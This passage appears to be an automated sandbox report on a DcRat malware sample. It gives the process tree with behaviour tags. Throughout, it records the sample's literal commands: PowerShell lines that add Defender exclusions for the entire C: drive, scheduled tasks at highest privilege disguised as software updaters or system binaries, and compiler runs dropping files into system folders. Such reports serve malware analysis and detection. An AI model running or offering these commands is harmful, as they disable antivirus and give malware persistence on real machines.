        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3CF4.tmp" "c:\winNet\CSC2FC95341EAF2485E985BE8F8E5ED93E0.TMP"
        8⤵
        
        PID:3668
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ab45vlwn\ab45vlwn.cmdline"
        7⤵
        Loads dropped DLL
        Drops file in Program Files directory
        
        PID:2864
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3FA4.tmp" "c:\Program Files (x86)\Internet Explorer\SIGNUP\CSCC883D3E3A7AA4340AAA218C9331097D7.TMP"
        8⤵
        
        PID:2216
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\44b5j0gn\44b5j0gn.cmdline"
        7⤵
        Loads dropped DLL
        Drops file in Windows directory
        
        PID:6112
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4570.tmp" "c:\Windows\Panther\actionqueue\CSCB215E79060DB493BA4668E8C8A40403E.TMP"
        8⤵
        
        PID:5080
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pkaugbuj\pkaugbuj.cmdline"
        7⤵
        Loads dropped DLL
        
        PID:4232
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        Loads dropped DLL
        
        PID:2392
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4A72.tmp" "c:\Recovery\WindowsRE\CSC6FDD0F0EA87643D1BA5B3BF2B12C1D75.TMP"
        8⤵
        
        PID:5304
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gnrdcudf\gnrdcudf.cmdline"
        7⤵
        Loads dropped DLL
        Drops file in Program Files directory
        
        PID:4072
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4CC3.tmp" "c:\Program Files (x86)\Windows Defender\CSCDCC5BBACF7CA40AB9EE277A264688463.TMP"
        8⤵
        
        PID:4484
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nig25rle\nig25rle.cmdline"
        7⤵
        Loads dropped DLL
        
        PID:1452
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES500F.tmp" "c:\DriversavessessionDlldhcp\CSCD21B86D3620947DA906BA37D377038AE.TMP"
        8⤵
        
        PID:2512
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xm2ekk5l\xm2ekk5l.cmdline"
        7⤵
        Loads dropped DLL
        
        PID:3304
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5222.tmp" "c:\Users\Admin\Music\CSCA498C03B60E74859BF9A2440EFB2F2F.TMP"
        8⤵
        
        PID:3412
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ttkdnjog\ttkdnjog.cmdline"
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        
        PID:5496
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5493.tmp" "c:\Windows\System32\CSCE29084BE4E2D477AA7C424D0A012143.TMP"
        8⤵
        
        PID:5056
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/DriversavessessionDlldhcp/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4776
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:3832
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6136
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:5524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1284
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4908
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:5164
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2840
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3152
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2580
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/winNet/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\dwm.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4892
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\DriversavessessionDlldhcp\Roblox.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4948
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\BxRwhd1Sz6.bat"
        7⤵
        
        PID:5452
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:2112
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        8⤵
        
        PID:6904
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        8⤵
        Runs ping.exe
        
        PID:6448
        
        C:\Users\Admin\AppData\Local\dwm.exe
        
        "C:\Users\Admin\AppData\Local\dwm.exe"
        8⤵
        
        PID:7100
- C:\Users\Admin\AppData\Local\Temp\faildsfsdf.exe
  "C:\Users\Admin\AppData\Local\Temp\faildsfsdf.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2812
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Autodesk Maya" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" & exit
    3⤵
    PID:5368
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Autodesk Maya" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe"
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:3000
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:5952
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      PID:3692
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "Google Chrome Update" /tr "C:\Users\Admin\Music\xdwdAdobe Illustrator.exe" /RL HIGHEST & exit
    3⤵
    PID:5576
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "Google Chrome Update" /tr "C:\Users\Admin\Music\xdwdAdobe Illustrator.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:5500
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:2460
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:4836
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:6040
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:5296
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:4752
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:5164
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:5696
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:3252
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:6556
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      PID:6872
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:6304
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:6432
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:6176
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:7048
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:348
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:1976
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:6628
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:5424
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:6152
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:6748
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:7080
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:3336
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:6068
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3616
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:4024
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:6868
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:4988
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:2856
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:2476
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:752
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:6520
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:556
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:4504
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:1148
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:6108
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:388
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:3168
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:5828
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:6748
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:2732
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:4348
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:6076
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:6884
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:1944
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:6404
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:5592
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST & exit
    3⤵
    PID:1780
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "Avid Pro Tools" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSublime Text.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:6280

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 11 /tr "'C:\Windows\TAPI\fontdrvhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4368

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\TAPI\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4980

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Windows\TAPI\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:872

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 13 /tr "'C:\winNet\wscript.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2012

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wscript" /sc ONLOGON /tr "'C:\winNet\wscript.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 14 /tr "'C:\winNet\wscript.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows Photo Viewer\uk-UA\conhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4384

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\uk-UA\conhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4948

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Photo Viewer\uk-UA\conhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'C:\winNet\csrss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2324

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\winNet\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\winNet\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1892

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\SppExtComObj.exe'" /f
1⤵
- DcRat
